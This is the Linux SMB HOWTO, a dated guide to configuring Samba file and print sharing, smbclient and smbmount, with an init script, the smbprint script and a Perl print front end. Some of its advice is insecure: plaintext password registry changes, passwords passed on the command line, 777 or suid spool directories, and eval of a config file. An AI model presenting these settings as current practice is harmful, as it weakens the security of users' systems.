This document is maintained by David Wood ( dwood@plugged.net.au). Additions, modifications or corrections may be mailed there for inclusion in the next release.

Much more Samba documentation is available at the Samba Web site, located at http://www.samba.org/. There is a tremendous amount of information there; please have a look before asking for help! You also might try the comp.protocols.smb newsgroup.

The SMB protocol is used by Microsoft Windows 3.11, NT and 95/98 to share disks and printers. Using the Samba suite of tools by Andrew Tridgell ( Andrew.Tridgell@anu.edu.au), UNIX (including Linux) machines can share disk and printers with Windows hosts. The smbfs tools by Paal-Kr. Engstad ( engstad@intermetrics.com) and Volker Lendecke ( lendecke@namu01.gwdg.de) enable Unix machines to mount SMB shares from Windows or Samba hosts.

There are four basic things that one can do with Samba:

  1. Share a Linux drive with Windows machines.
  2. Access an SMB share with Linux machines.
  3. Share a Linux printer with Windows machines.
  4. Share a Windows printer with Linux machines.

All of these are covered in this document, plus a few other odds and ends.

Disclaimer: The procedures and scripts either work for the author or have been reported to work by the people that provided them. Different configurations may not work with the information given here. If you encounter such a situation, please e-mail the author with suggestions for improvement in this document.

Please note that for Windows 3.x machines to access SMB shares, they must have a TCP/IP stack and the Win32s DLLs. Both of these are available on Microsoft's Web site ( http://www.microsoft.com). As of the writing of this version of the HOWTO, Microsoft are reportedly requiring a subscription to the Microsoft Software Developers Network (MSDN) to download the TCP/IP-32 stack for Windows 3.x from their Web site. Since this software used to be free, many older copies are in existance and may be acquired from friends and user group contacts.


SMB HOWTO: Further Information

 Next Previous Contents

3. Further Information

This HOWTO attempts to explain how to configure basic SMB file and print services on a Linux machine. Samba is a very complex and complete package. There would be no point in attempting to duplicate all of the documentation for Samba here.

For further information, please see the following documents:

  • The Samba documentation, available as part of the Samba distribution. The distribution is available at: ftp://ftp.samba.org/
  • The Linux Printing HOWTO.
  • Protocol Standard For A NetBIOS Service On A TCP/UDP Transport.
    RFC 1001

    > RFC 1001 - Concepts and Methods.

    RFC 1002

    > RFC 1002 - Detailed Specifications.


SMB HOWTO: Installation

 Next Previous Contents

4. Installation

First, in order to use Samba your machines must be on a single ethernet LAN segment using the TCP/IP protocol. Samba will not work using other network protocols. This is generally easy since Linux and Windows 95/98/NT ship with TCP/IP support. However, if you are using Windows 3.X machines TCP/IP support will need to be added. One of the most common questions that I get asked is why Samba "isn't working" when Windows machines are not using TCP/IP.

In order to setup Windows 95/98 to use TCP/IP, select Control Panel | Network, then add and configure Microsoft TCP/IP. Under Windows NT, select Control Panel | Network | Protocols.

To get the latest source version of Samba, go to this URL and pick the closest mirror site to you: ftp://ftp.samba.org/.

In most cases, though, your Linux distribution will already come with an installable package containing a recent version of Samba.

The following two daemons are required for the Samba package. They are typically installed in /usr/sbin and run either on boot from the systems startup scripts or from inetd. Example scripts are shown in Running the Daemons.

        smbd (The SMB daemon)
        nmbd (Provides NetBIOS nameserver support to clients)

Please note that the name service provided by the nmbd daemon is different from the name service provided by the Domain Name Service (DNS). NetBIOS name service is a 'Windows-style' name service used for SMB. In other words, having DNS name service tells you nothing about the state of the ability for Samba to resolve host names.

Typically, the following Samba binaries are installed in /usr/bin or /usr/local/samba/bin, although the location is optional.

        smbclient       (An SMB client for UNIX machines)
        smbprint        (A script to print to a printer on an SMB host)
        smbprint.sysv   (As above, but for SVR4 UNIX machines)
        smbstatus       (Lists the cuurent SMB connections for the local host)
        smbrun          (A 'glue' script to facilitate runnning applciations
                         on SMB hosts)

The binaries for smbfs file system support are discussed later in this document.

Additionally, a script called 'print' is included with this HOWTO, which serves as a useful front end to the smbprint script.

The Samba package is simple to install. Simply retrieve the source from the location mentioned above, and read the file README in the distribution. There is also a file called docs/INSTALL.txt in the distribution that provides a simple step-by-step set of instructions.

Following installation, place the daemons in /usr/sbin and the binaries in /usr/bin. Install the man pages in /usr/local/man.

When you made the Samba package, you would have specified in the Makefile the location for the configuration file, smb.conf. This is generally in /etc, but you can put it anywhere you like. For these directions, we will presume that you specified the location of the configuration file as /etc/smb.conf, the log file location as log file = /var/log/samba-log.%m and the lock directory as lock directory = /var/lock/samba.

Install the configuration file, smb.conf. Go to the directory where Samba was built. Look in the subdirectory examples/simple and read the file README. Copy the file smb.conf found in that directory to /etc. BE CAREFUL! If you have a Linux distribution that already has Samba installed, you may already have a Samba configuration file in /etc. You should probably start with that one.

If you don't want to have your configuration file in /etc, put it wherever you want to, then put a symlink in /etc:

        ln -s /path/to/smb.conf /etc/smb.conf


SMB HOWTO: Running The Daemons

 Next Previous Contents

5. Running The Daemons

The two SMB daemons are /usr/sbin/smbd and /usr/sbin/nmbd. Under most Linux distributions, these are started, stoped and restarted via the startup script located in /etc/rc.d/init.d/smb and symlinked to the appropriate runlevels.

If you choose not to use the standard startup script, you can run the Samba daemons from inetd or as stand-alone processes. Samba will respond slightly faster as a standalone daemon than running from inetd.

In either case, you should check the file /etc/services for lines that look like this:

netbios-ns      137/tcp         nbns
netbios-ns      137/udp         nbns
netbios-dgm     138/tcp         nbdgm
netbios-dgm     138/udp         nbdgm
netbios-ssn     139/tcp         nbssn

Make sure they are all uncommented. Depending on your distribution, you may even need to add them. Samba will not be able to bind to the appropriate ports unless /etc/services has these entries.

To run the daemons from inetd, place the following lines in the inetd configuration file, /etc/inetd.conf:

    # SAMBA NetBIOS services (for PC file and print sharing)
    netbios-ssn stream tcp nowait root /usr/sbin/smbd smbd
    netbios-ns dgram udp wait root /usr/sbin/nmbd nmbd

Then restart the inetd daemon by running the command:

    kill -HUP `cat /var/run/inetd.pid`

To run the daemons from the system startup scripts, put the following script in file called /etc/rc.d/init.d/smb (for most distributions) and symbolically link it to the files specified in the comments:

    #!/bin/sh

    #
    # /etc/rc.d/init.d/smb - starts and stops SMB services.
    #
    # The following files should be synbolic links to this file:
    # symlinks: /etc/rc.d/rc1.d/K35smb  (Kills SMB services on shutdown)
    #           /etc/rc.d/rc3.d/S91smb  (Starts SMB services in multiuser mode)
    #           /etc/rc.d/rc6.d/K35smb  (Kills SMB services on reboot)
    #

    # Source function library.
    . /etc/rc.d/init.d/functions

    # Source networking configuration.
    . /etc/sysconfig/network

    # Check that networking is up.
    [ ${NETWORKING} = "no" ] && exit 0

    # See how we were called.
    case "$1" in
      start)
        echo -n "Starting SMB services: "
        daemon smbd -D
        daemon nmbd -D
        echo
        touch /var/lock/subsys/smb
        ;;
      stop)
        echo -n "Shutting down SMB services: "
        killproc smbd
        killproc nmbd
        rm -f /var/lock/subsys/smb
        echo ""
        ;;
      *)
        echo "Usage: smb {start|stop}"
        exit 1
    esac

If when starting Samba you get an error that says something about the daemon failing to bind to port 139, then you probably have another Samba process already running that hasn't yet shut down. Check a process list (with 'ps auxww | grep mbd') to determine if another Samba service is running.


SMB HOWTO: General Configuration (/etc/smb.conf)

 Next Previous Contents

6. General Configuration (/etc/smb.conf)

Samba configuration on a Linux (or other UNIX machine) is controlled by a single file, /etc/smb.conf. This file determines which system resources you want to share with the outside world and what restrictions you wish to place on them.

Since the following sections will address sharing Linux drives and printers with Windows machines, the smb.conf file shown in this section is as simple as you can get, just for introductory purposes.

Don't worry about the details, yet. Later sections will introduce the major concepts.

Each section of the file starts with a section header such as [global], [homes], [printers], etc.

The [global] section defines a few variables that Samba will use to define sharing for all resources.

The [homes] section allows a remote users to access their (and only their) home directory on the local (Linux) machine). That is, users trying to connect to this share from Windows machines, will be connected to their personal home directories. Note that to do this, they must have an account on the Linux box.

The sample smb.conf file below allows remote users to get to their home directories on the local machine and to write to a temporary directory. For a Windows user to see these shares, the Linux box has to be on the local network. Then the user simply connects a network drive from the Windows File Manager or Windows Explorer.

Note that in the following sections, additional entries for this file will be given to allow more resources to be shared.

; /etc/smb.conf
;
; Make sure and restart the server after making changes to this file, ex:
; /etc/rc.d/init.d/smb stop
; /etc/rc.d/init.d/smb start

[global]
; Uncomment this if you want a guest account
; guest account = nobody
   log file = /var/log/samba-log.%m
   lock directory = /var/lock/samba
   share modes = yes

[homes]
   comment = Home Directories
   browseable = no
   read only = no
   create mode = 0750

[tmp]
   comment = Temporary file space
   path = /tmp
   read only = no
   public = yes

Having written a new smb.conf, it is useful to test it to verify its correctness. You can test the correctness of a smb.conf file , using the 'testparm' utility (man page: testparm); if testparm reports no problems, smbd will correctly load the configuration file.

Here's a good trick: If your Samba server has more than one ethernet interface, the smbd may bind to the wrong one. If so, you can force it to bind to the intended one by adding a line that looks like this to the [global] section of /etc/smb.conf:

interfaces = 192.168.1.1/24

where you replace the IP address above with the one that is assigned to the correct ethernet interface. The "24" is correct for a Class C network, but may have to be recalculated if you have subnetted the network. The number relates to the netmask. Numbers for other classes of networks are given in the IP-Masquerade mini-HOWTO.

There is now a GUI configuration tool for Samba: GtkSamba. See http://www.open-systems.com/gtksamba.html.


SMB HOWTO: Sharing A Linux Drive With Windows Machines

 Next Previous Contents

7. Sharing A Linux Drive With Windows Machines

As shown in the simple smb.conf above, sharing Linux drives with Windows users is easy. However, like everything else with Samba, you can control things to a large degree. Here are some examples:

To share a directory with the public, create a clone of the [tmp] section above by adding something like this to smb.conf:

[public]
   comment = Public Stuff
   path = /home/public
   public = yes
   writable = yes
   printable = no

To make the above directory readable by the public, but only writable by people in group staff, modify the entry like this:

[public]
   comment = Public Stuff
   path = /home/public
   public = yes
   writable = yes
   printable = no
   write list = @staff

It used to be that easy; you would now be able to start Samba and browse the shares from a Windows PC. However, Microsoft has recently made life slightly more difficult for those using Samba. Windows 98, Windows NT (service pack 3 or higher) and later builds of Windows 95 now use encrypted passwords by default. Samba uses unencrypted passwords by default. You can't browse servers when either the client or server is using encrypted passwords, because a connection cannot be made anonymously.

You can tell if you have a password type mismatch between client and server if when you try to connect to a share you see a dialog box which reads something like "You are not authorized to access that account from this machine".

You can either configure your Samba server to use encrypted passwords, or configure the Windows machines to use unencrypted passwords.

To get Windows to work with encrypted SMB passwords:

Windows 95/98 =============

Using the registry editor (regedit), create the registry setting HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\VNETSUP Add a new DWORD value: Value Name: EnablePlainTextPassword Data: 0x01.

Windows NT ==========

Using the registry editor (regedit), create the registry setting HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rdr\Parameters Add a new DWORD value: Value Name: EnablePlainTextPassword Data: 0x01

Windows 2000 ============

Using the registry editor (regedit), create the registry setting HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkStation\Parameters Add a new DWORD value: Value Name: EnablePlainTextPassword Data: 0x01

Once these registry changes have been made, reboot the Windows machine and try to map a network drive on the Samba server again. It should work as long as the Samba server is using plain text passwords.

To configure Samba to use encrypted passwords:

In the [global] section of /etc/smb.conf, add the following lines:

encrypt passwords = yes
smb passwd file = /etc/smbpasswd

You are highly encouraged to read the files ENCRYPTION.txt, Win95.txt and WinNT.txt in the Samba documentation before doing this!

If your clients and server are using encrypted passwords, you will not be able to browse the available shares on the server until an initial connection has been made with the appropriate authentication. To get the initial connection, enter the share name manually in the Windows File Manager or Explorer dialog box, in the form '\\<hostname>\<sharename>'. Log onto the server with a username and password that is valid on the server!

If you suspect that your NetBIOS name service is not correctly configured (perhaps because you get 'host not found' errors when trying to connect), try using just the IP address of the server: '\\<host ip address>\<sharename>'.

In order to get filenames to appear correctly, you may also need to set some options in the appropriate share section. These work for Windows 95/98/NT clients, but may need to be modified if you have Windows 3.X clients:

    ; Mangle case = yes seems to give the correct filenames
    ; for Win95/98/NT.
    mangle case = yes

    ; If samba is case sensitive when looking for files
    case sensitive = no

    ; Default case of files that are created
    default case = lower

    ; Preserve case for all filenames
    preserve case = yes

    ; Preserve case for dos (8.3) filenames
    short preserve case = no

For other tricks to play with drive shares, see the Samba documentation or man pages.

interfaces = 192.168.1.1/24

Note: The bit after the / is a reference to the subnet mask. "24" is the value to use for an unsegmented Class C network. For more information on subnet calculations, you might want to see http://www.ralphb.net/IPSubnet/.

There is a lot more to Samba configuration than this, but this will get you started. If you want to do something more advanced, I refer you to the Samba Web site mentioned above.


SMB HOWTO: Accessing an SMB Share With Linux Machines

 Next Previous Contents

8. Accessing an SMB Share With Linux Machines

Linux (UNIX) machines can also browse and mount SMB shares. Note that this can be done whether the server is a Windows machine or a Samba server!

An SMB client program for UNIX machines is included with the Samba distribution. It provides an ftp-like interface on the command line. You can use this utility to transfer files between a Windows 'server' and a Linux client.

Most Linux distributions also now include the useful smbfs package, which allows one to mount and umount SMB shares. More on smbfs below.

To see which shares are available on a given host, run:

    /usr/bin/smbclient -L host

where 'host' is the name of the machine that you wish to view. this will return a list of 'service' names - that is, names of drives or printers that it can share with you. Unless the SMB server has no security configured, it will ask you for a password. Get it the password for the 'guest' account or for your personal account on that machine.

For example:

    smbclient -L zimmerman

The output of this command should look something like this:

Server time is Sat Aug 10 15:58:27 1996
Timezone is UTC+10.0
Password:
Domain=[WORKGROUP] OS=[Windows NT 3.51] Server=[NT LAN Manager 3.51]

Server=[ZIMMERMAN] User=[] Workgroup=[WORKGROUP] Domain=[]

        Sharename      Type      Comment
        ---------      ----      -------
        ADMIN$         Disk      Remote Admin
        public         Disk      Public
        C$             Disk      Default share
        IPC$           IPC       Remote IPC
        OReilly        Printer   OReilly
        print$         Disk      Printer Drivers

This machine has a browse list:

        Server               Comment
        ---------            -------
        HOPPER               Samba 1.9.15p8
        KERNIGAN             Samba 1.9.15p8
        LOVELACE             Samba 1.9.15p8
        RITCHIE              Samba 1.9.15p8
        ZIMMERMAN

The browse list shows other SMB servers with resources to share on the network.

To use the client, run:

    /usr/bin/smbclient service <password>

where 'service' is a machine and share name. For example, if you are trying to reach a directory that has been shared as 'public' on a machine called zimmerman, the service would be called \\zimmerman\public. However, due to shell restrictions, you will need to escape the backslashes, so you end up with something like this:

    /usr/bin/smbclient \\\\zimmerman\\public mypasswd

where 'mypasswd' is the literal string of your password.

You will get the smbclient prompt:

Server time is Sat Aug 10 15:58:44 1996
Timezone is UTC+10.0
Domain=[WORKGROUP] OS=[Windows NT 3.51] Server=[NT LAN Manager 3.51]
smb: \>

Type 'h' to get help using smbclient:

smb: \> h
ls             dir            lcd            cd             pwd
get            mget           put            mput           rename
more           mask           del            rm             mkdir
md             rmdir          rd             prompt         recurse
translate      lowercase      print          printmode      queue
cancel         stat           quit           q              exit
newer          archive        tar            blocksize      tarmode
setmode        help           ?              !
smb: \>

If you can use ftp, you shouldn't need the man pages for smbclient.

Although you can use smbclient for testing, you will soon tire of it for real work. For that you will probably want to use the smbfs package. Smbfs comes with two simple utilties, smbmount and smbumount. They work just like mount and umount for SMB shares.

One important thing to note: You must have smbfs support compiled into your kernel to use these utilities!

The following shows a typical use of smbmount to mount an SMB share called "customers" from a machine called "samba1":

[root@postel]# smbmount "\\\\samba1\\customers" -U rtg2t -c 'mount /customers -u 500 -g 100'
Added interface ip=192.168.35.84 bcast=192.168.255.255 nmask=255.255.0.0
Got a positive name query response from 192.168.168.158 ( 192.168.168.158 )
Server time is Tue Oct  5 10:27:36 1999
Timezone is UTC-4.0
Password:
Domain=[IPM] OS=[Unix] Server=[Samba 2.0.3]
security=user

Issuing a mount command will now show the share mounted, just as if it were an NFS export:

[root@postel]# mount
/dev/hda2 on / type ext2 (rw)
none on /proc type proc (rw)
none on /dev/pts type devpts (rw,mode=622)
//SAMBA1/CUSTOMERS on /customers type smbfs (0)

Please see the manual pages for smbmount and smbumount for details on the above operation.


SMB HOWTO: Sharing A Linux Printer With Windows Machines

 Next Previous Contents

9. Sharing A Linux Printer With Windows Machines

To share a Linux printer with Windows machines, you need to make certain that your printer is set up to work under Linux. If you can print from Linux, setting up an SMB share of the printer is stright forward.

Note that Windows users must have an account on the Linux/Samba server in order to print. Windows 95/98 will attempt to authenticate to the print server using the username and password used on login to the Windows box.This means that if you clicked 'Cancel' when logging onto Windows, you can't print (or connect to other SMB services)! Windows NT allows one to explicitely provide a username and password when connecting to a printer.

See the Printing HOWTO to set up local printing.

Add printing configuration to your smb.conf:

[global]
   printing = bsd
   printcap name = /etc/printcap
   load printers = yes
   log file = /var/log/samba-log.%m
   lock directory = /var/lock/samba

[printers]
   comment = All Printers
   security = server
   path = /var/spool/lpd/lp
   browseable = no
   printable = yes
   public = yes
   writable = no
   create mode = 0700

[ljet]
   security = server
   path = /var/spool/lpd/lp
   printer name = lp
   writable = yes
   public = yes
   printable = yes
   print command = lpr -r -h -P %p %s

Make certain that the printer path (in this case under [ljet]) matches the spool directory in /etc/printcap!

The lines:

   printcap name = /etc/printcap
   load printers = yes

controls whether all the printers in /etc/printcap should be loaded by default. If you do this, there is no reason to set up printers individually. The section [printers] specifies options for the printers that you wish to explicitly difine. If the printing subsystem you are using doesn't work this way (BSD), you need to set up a fake printcap file (or to use the 'print command' technique, see below). For more information on the printcap system see the Printing HOWTO.

A useful technique to test the network connection is to change the print command to:

   print command = cp %S /tmp/print.%P.%S

The resulting file can then be analyzed.

NOTE: There are some problems sharing printers on UNIX boxes with Windows NT machines using Samba. One problem is with NT seeing the shared printer properly. To fix this, see the notes in the Samba distribution in the file docs/WinNT.txt. The other deals with password problems. See the comments in the same file for an annoying gain of understanding and failure to fix the problem.

Oleg L. Machulskiy ( machulsk@shade.msu.ru) suggests that a better print command to use in the above example would be:

print command = smb2ps %s | lpr -r -h -P %p

where 'smb2ps' is a script which transforms the spool file received from Windows into usual a usable Postscript file. It must cut off first 3 lines and last 2 lines, because these lines contain some PJL or PCL codes.

That approach is only needed if your Windows machine is printing PCL and not real Postscript. I have found that Windows 95/98/NT don't have a generic Postscript driver per se, but the "Digital turbo Printserver 20" driver acts as a good general Postscript driver for most setups. I have also heard that the "Apple LaserWriter II NTX" driver works for this purpose.

If you are creating a printer spool directory instead of using one created by a Linux distribution's installation utility, be careful of permissions! Neil Fraser ( neilf@necon.co.za) suggested setting the permissions of the spool directory (in his case, /var/spool/lpd/lpr) to 4755 (note the suid bit). This worked for him when the owner of the directory was 'root' and the group was 'lp'.

Jeff Stern ( jstern@eclectic.ss.uci.edu) reported that he had to set the permissions on his spool directory to 777 in order for non-priviledged users to print, although he notes that he could have also added users to the 'lp' group. This is a decision for local systems administrators; if printing security is an issue, then lock it down. In home environments, you will probably want everyone to be able to print.

Dr. Michael Langner ( langner@fiz-chemie.de) points out that write permission problems on the /var/spool/lpd/ tree could be avoided by use something like "path = /tmp" and "print command = lpr -r -P%p %s" instead.

Sometimes, a Postscript parsing error will occur with Postscript printing from Windows machines that causes an extra page to be printed at the end of every print job. The last page will always have "%%[ Lastpage ]%%" at the top of it. This seems to happen with Windows 95 and 98 only and is because the Postscript is malformed.

One way to handle that is to use a script to remove that bit of bad Postscript from the spooled jobs. Another way is to try to find a better Windows Postscript driver. Probably the best way is to us LPRng instead of Postscript to print to a Samba server.

Erik Ratcliffe ( erik@caldera.com) Caldera tells me that using LPRng means that any printer driver can be used from Windows machines. On the Samba server, they used an /etc/printcap entry that looked like this:

raw:\
        :rw:sh:
        :lp=/dev/lp1
        :sd=/var/spool/lpd/raw
        :fx=flp

LPRng doesn't require :\ at the end of every line. A printer entry will still need to be made in /etc/smb.conf for the physical printer. The print command line needs to use the "raw" entry in /etc/printcap and data must be sent to the printer in binary form. Try a print command line like this:

print command = lpr -b -Praw %s

You may also need to set the spooling on the Windows95 end to print directly to the printer instead of spooling.

If you constantly get a extra page printing at the end of print jobs from Windows clients, try adding an "sf" directive in /etc/printcap. This will suppress form feeds separating jobs, but will not effect form feeds within documents.


SMB HOWTO: Sharing A Windows Printer With Linux Machines

 Next Previous Contents

10. Sharing A Windows Printer With Linux Machines

To share a printer on a Windows machine, you must do the following:

  1. You must have the proper entries in /etc/printcap and they must correspond to the local directory structure (for the spool directory, etc).
  2. You must have the script /usr/bin/smbprint. This comes with the Samba source, but not with all Samba binary distributions. A slightly modifed copy is discussed below.
  3. If you want to convert ASCII files to Postscript, you must have nenscript, or its equivalent. nenscript is a Postscript converter and is generally installed in /usr/bin.
  4. You may wish to make Samba printing easier by having an easy-to-use front end. A simple perl script to handle ASCII, Postscript or created Postscript is given below.
  5. You could also use MagicFilter to do the above. The details on setting up MagicFilter are given below the perl script. MagicFilter has advantages because it knows how to automatically convert a lot of file formats.

The /etc/printcap entry below is for an HP 5MP printer on a Windows NT host. The entries are as follows:

        cm - comment
        lp - device name to open for output
        sd - the printer's spool directory (on the local machine)
        af - the accounting file
        mx - the maximum file size (zero is unlimited)
        if - name of the input filter (script)

For more information, see the Printing HOWTO or the man page for printcap.

# /etc/printcap
#
# //zimmerman/oreilly via smbprint
#
lp:\
        :cm=HP 5MP Postscript OReilly on zimmerman:\
        :lp=/dev/lp1:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/spool/lpd/lp/acct:\
        :mx#0:\
        :if=/usr/bin/smbprint:

Make certain that the spool and accounting directories exist and are writable. Ensure that the 'if' line holds the proper path to the smbprint script (given below) and make sure that the proper device is pointed to (the /dev special file).

Next is the smbprint script itself. It is usually placed in /usr/bin and is attributable to Andrew Tridgell, the person who created Samba as far as I know. It comes with the Samba source distribution, but is absent from some binary distributions, so I have recreated it here.

You may wish to look at this carefully. There are some minor alterations that have shown themselves to be useful.

#!/bin/sh -x

# This script is an input filter for printcap printing on a unix machine. It
# uses the smbclient program to print the file to the specified smb-based
# server and service.
# For example you could have a printcap entry like this
#
# smb:lp=/dev/null:sd=/usr/spool/smb:sh:if=/usr/local/samba/smbprint
#
# which would create a unix printer called "smb" that will print via this
# script. You will need to create the spool directory /usr/spool/smb with
# appropriate permissions and ownerships for your system.

# Set these to the server and service you wish to print to
# In this example I have a WfWg PC called "lapland" that has a printer
# exported called "printer" with no password.

#
# Script further altered by hamiltom@ecnz.co.nz (Michael Hamilton)
# so that the server, service, and password can be read from
# a /usr/var/spool/lpd/PRINTNAME/.config file.
#
# In order for this to work the /etc/printcap entry must include an
# accounting file (af=...):
#
#   cdcolour:\
#       :cm=CD IBM Colorjet on 6th:\
#       :sd=/var/spool/lpd/cdcolour:\
#       :af=/var/spool/lpd/cdcolour/acct:\
#       :if=/usr/local/etc/smbprint:\
#       :mx=0:\
#       :lp=/dev/null:
#
# The /usr/var/spool/lpd/PRINTNAME/.config file should contain:
#   server=PC_SERVER
#   service=PR_SHARENAME
#   password="password"
#
# E.g.
#   server=PAULS_PC
#   service=CJET_371
#   password=""

#
# Debugging log file, change to /dev/null if you like.
#
logfile=/tmp/smb-print.log
# logfile=/dev/null

#
# The last parameter to the filter is the accounting file name.
#
spool_dir=/var/spool/lpd/lp
config_file=$spool_dir/.config

# Should read the following variables set in the config file:
#   server
#   service
#   password
#   user
eval `cat $config_file`

#
# Some debugging help, change the >> to > if you want to same space.
#
echo "server $server, service $service" >> $logfile

(
# NOTE You may wish to add the line `echo translate' if you want automatic
# CR/LF translation when printing.
        echo translate
        echo "print -"
        cat
) | /usr/bin/smbclient "\\\\$server\\$service" $password -U $user -N -P >> $logfile

Most Linux distributions come with nenscript for converting ASCII documents to Postscript. The following perl script makes life easier be providing a simple interface to Linux printing via smbprint.

Usage: print [-a|c|p] <filename>
       -a prints <filename> as ASCII
       -c prints <filename> formatted as source code
       -p prints <filename> as Postscript
        If no switch is given, print attempts to
        guess the file type and print appropriately.

Using smbprint to print ASCII files tends to truncate long lines. This script breaks long lines on whitespace (instead of in the middle of a word), if possible.

The source code formatting is done with nenscript. It takes an ASCII file and foramts it in 2 columns with a fancy header (date, filename, etc). It also numbers the lines. Using this as an example, other types of formatting can be accomplished.

Postscript documents are already properly formatted, so they pass through directly.

#!/usr/bin/perl

# Script:   print
# Authors:  Brad Marshall, David Wood
#           Plugged In Communications
# Date:     960808
#
# Script to print to a Postscript printer via Samba.
# Purpose:  Takes files of various types as arguments and
# processes them appropriately for piping to a Samba print script.
#
# Currently supported file types:
#
# ASCII      - ensures that lines longer than $line_length characters wrap on
#              whitespace.
# Postscript - Takes no action.
# Code       - Formats in Postscript (using nenscript) to display
#              properly (landscape, font, etc).
#

# Set the maximum allowable length for each line of ASCII text.
$line_length = 76;

# Set the path and name of the Samba print script
$print_prog = "/usr/bin/smbprint";

# Set the path and name to nenscript (the ASCII-->Postscript converter)
$nenscript = "/usr/bin/nenscript";

unless ( -f $print_prog ) {
        die "Can't find $print_prog!";
}
unless ( -f $nenscript ) {
        die "Can't find $nenscript!";
}

&ParseCmdLine(@ARGV);

# DBG
print "filetype is $filetype\n";

if ($filetype eq "ASCII") {
        &wrap($line_length);
} elsif ($filetype eq "code") {
        &codeformat;
} elsif ($filetype eq "ps") {
        &createarray;
} else {
        print "Sorry..no known file type.\n";
        exit 0;
}
# Pipe the array to smbprint
open(PRINTER, "|$print_prog") || die "Can't open $print_prog: $!\n";
foreach $line (@newlines) {
        print PRINTER $line;
}
# Send an extra linefeed in case a file has an incomplete last line.
print PRINTER "\n";
close(PRINTER);
print "Completed\n";
exit 0;

# --------------------------------------------------- #
#        Everything below here is a subroutine        #
# --------------------------------------------------- #

sub ParseCmdLine {
        # Parses the command line, finding out what file type the file is

        # Gets $arg and $file to be the arguments (if the exists)
        # and the filename
        if ($#_ < 0) {
                &usage;
        }
        # DBG
#       foreach $element (@_) {
#               print "*$element* \n";
#       }

        $arg = shift(@_);
        if ($arg =~ /\-./) {
                $cmd = $arg;
        # DBG
#       print "\$cmd found.\n";

                $file = shift(@_);
        } else {
                $file = $arg;
        }

        # Defining the file type
        unless ($cmd) {
                # We have no arguments

                if ($file =~ /\.ps$/) {
                        $filetype = "ps";
                } elsif ($file =~ /\.java$|\.c$|\.h$|\.pl$|\.sh$|\.csh$|\.m4$|\.inc$|\.html$|\.htm$/) {
                        $filetype = "code";
                } else {
                        $filetype = "ASCII";
                }

                # Process $file for what type is it and return $filetype
        } else {
                # We have what type it is in $arg
                if ($cmd =~ /^-p$/) {
                        $filetype = "ps";
                } elsif ($cmd =~ /^-c$/) {
                        $filetype = "code";
                } elsif ($cmd =~ /^-a$/) {
                        $filetype = "ASCII"
                }
        }
}

sub usage {
        print "
Usage: print [-a|c|p] <filename>
       -a prints <filename> as ASCII
       -c prints <filename> formatted as source code
       -p prints <filename> as Postscript
        If no switch is given, print attempts to
        guess the file type and print appropriately.\n
";
        exit(0);
}

sub wrap {
        # Create an array of file lines, where each line is < the
        # number of characters specified, and wrapped only on whitespace

        # Get the number of characters to limit the line to.
        $limit = pop(@_);

        # DBG
        #print "Entering subroutine wrap\n";
        #print "The line length limit is $limit\n";

        # Read in the file, parse and put into an array.
        open(FILE, "<$file") || die "Can't open $file: $!\n";
        while(<FILE>) {
                $line = $_;

                # DBG
                #print "The line is:\n$line\n";

                # Wrap the line if it is over the limit.
                while ( length($line) > $limit ) {

                        # DBG
                        #print "Wrapping...";

                        # Get the first $limit +1 characters.
                        $part = substr($line,0,$limit +1);

                        # DBG
                        #print "The partial line is:\n$part\n";

                        # Check to see if the last character is a space.
                        $last_char = substr($part,-1, 1);
                        if ( " " eq $last_char ) {
                            # If it is, print the rest.

                            # DBG
                            #print "The last character was a space\n";

                            substr($line,0,$limit + 1) = "";
                            substr($part,-1,1) = "";
                            push(@newlines,"$part\n");
                        } else {
                             # If it is not, find the last space in the
                             # sub-line and print up to there.

                            # DBG
                            #print "The last character was not a space\n";

                             # Remove the character past $limit
                             substr($part,-1,1) = "";
                             # Reverse the line to make it easy to find
                             # the last space.
                             $revpart = reverse($part);
                             $index = index($revpart," ");
                             if ( $index > 0 ) {
                               substr($line,0,$limit-$index) = "";
                               push(@newlines,substr($part,0,$limit-$index)
                                   . "\n");
                             } else {
                               # There was no space in the line, so
                               # print it up to $limit.
                               substr($line,0,$limit) = "";
                               push(@newlines,substr($part,0,$limit)
                                   . "\n");
                             }
                        }
                }
                push(@newlines,$line);
        }
        close(FILE);
}

sub codeformat {
        # Call subroutine wrap then filter through nenscript
        &wrap($line_length);

        # Pipe the results through nenscript to create a Postscript
        # file that adheres to some decent format for printing
        # source code (landscape, Courier font, line numbers).
        # Print this to a temporary file first.
        $tmpfile = "/tmp/nenscript$$";
        open(FILE, "|$nenscript -2G -i$file -N -p$tmpfile -r") ||
                die "Can't open nenscript: $!\n";
        foreach $line (@newlines) {
                print FILE $line;
        }
        close(FILE);

        # Read the temporary file back into an array so it can be
        # passed to the Samba print script.
        @newlines = ("");
        open(FILE, "<$tmpfile") || die "Can't open $file: $!\n";
        while(<FILE>) {
                push(@newlines,$_);
        }
        close(FILE);
        system("rm $tmpfile");
}

sub createarray {
        # Create the array for postscript
        open(FILE, "<$file") || die "Can't open $file: $!\n";
        while(<FILE>) {
                push(@newlines,$_);
        }
        close(FILE);
}

Now the MagicFilter way. Thanks to Alberto Menegazzi ( flash.egon@iol.it) for this information.

Alberto says:

-------------------------------------------------------------- 1) Install MagicFilter with the filter for the printers you need in /usr/bin/local but DON'T fill /etc/printcap with the suggestion given by the documentation from MagicFilter.

2) Write the /etc/printcap like this way (it's done for my LaserJet 4L):

lp|ljet4l:\ :cm=HP LaserJet 4L:\ :lp=/dev/null:\ # or /dev/lp1 :sd=/var/spool/lpd/ljet4l:\ :af=/var/spool/lpd/ljet4l/acct:\ :sh:mx#0:\ :if=/usr/local/bin/main-filter:

You should explain that the lp=/dev/... is opened for locking so "virtual" devices one for every remote printer should be used.

Example creating with : touch /dev/ljet4l

3) Write the filter /usr/local/bin/main-filter the same you suggest using the ljet4l-filter instead of cat.

Here's mine.

#! /bin/sh logfile=/var/log/smb-print.log spool_dir=/var/spool/lpd/ljet4l ( echo "print -" /usr/local/bin/ljet4l-filter ) | /usr/bin/smbclient "\\\\SHIR\\HPLJ4" -N -P >> $logfile

P.S. : here is the quote from the Print2Win mini-Howto about locking and why creating virtual printers

---Starts here

Hint from Rick Bressler :

Good tip sheet. I use something very similar. One helpful tip, this is not a particularly good idea:

:lp=/dev/null:\

lpr does an 'exclusive' open on the file you specify as lp=. It does this in order to prevent multiple processes from trying to print to the dame printer at the same time.

